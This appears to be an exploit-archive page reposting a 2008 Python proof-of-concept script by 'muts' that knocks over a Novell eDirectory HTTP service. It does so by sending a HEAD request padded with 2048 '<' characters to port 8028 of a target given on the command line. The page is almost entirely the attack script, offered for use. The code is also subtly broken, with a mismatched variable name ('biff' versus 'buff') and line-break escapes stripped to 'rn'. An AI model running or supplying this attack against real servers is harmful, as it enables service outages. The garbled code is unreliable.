Novel eDirectory HTTP Denial of Service Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Novel eDirectory HTTP Denial of Service Exploit
# Published : 2008-04-02
# Author : muts
# Previous Title : Mcafee EPO 4.0 FrameworkService.exe Remote Denial of Service Exploit
# Next Title : Noticeware Email Server 4.6.1.0 Denial of Service Exploit

#!/usr/bin/python
# Novel eDirectory HTTP DOS
# Discovered and coded by Mati Aharoni
# muts..at..offensive-security.com
# http://www.offensive-security.com/0day/novel-edir.py.txt

import socket
import os
import sys
from time import sleep

biff="<"*2048
print "[*] Payload sent "+ str(len(buff))
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect ( ( sys.argv[1], 8028 ) )
expl.send ( 'HEAD '+biff+' HTTP/1.1rnHost: 192.168.1.10:20rnUser-Agent: Mozilla/4.0 (Linux 2.6.21.5) Java/1.5.0_02rnrn')
data=expl.recv(1024)
print data
expl.close()

# www.Syue.com [2008-04-02]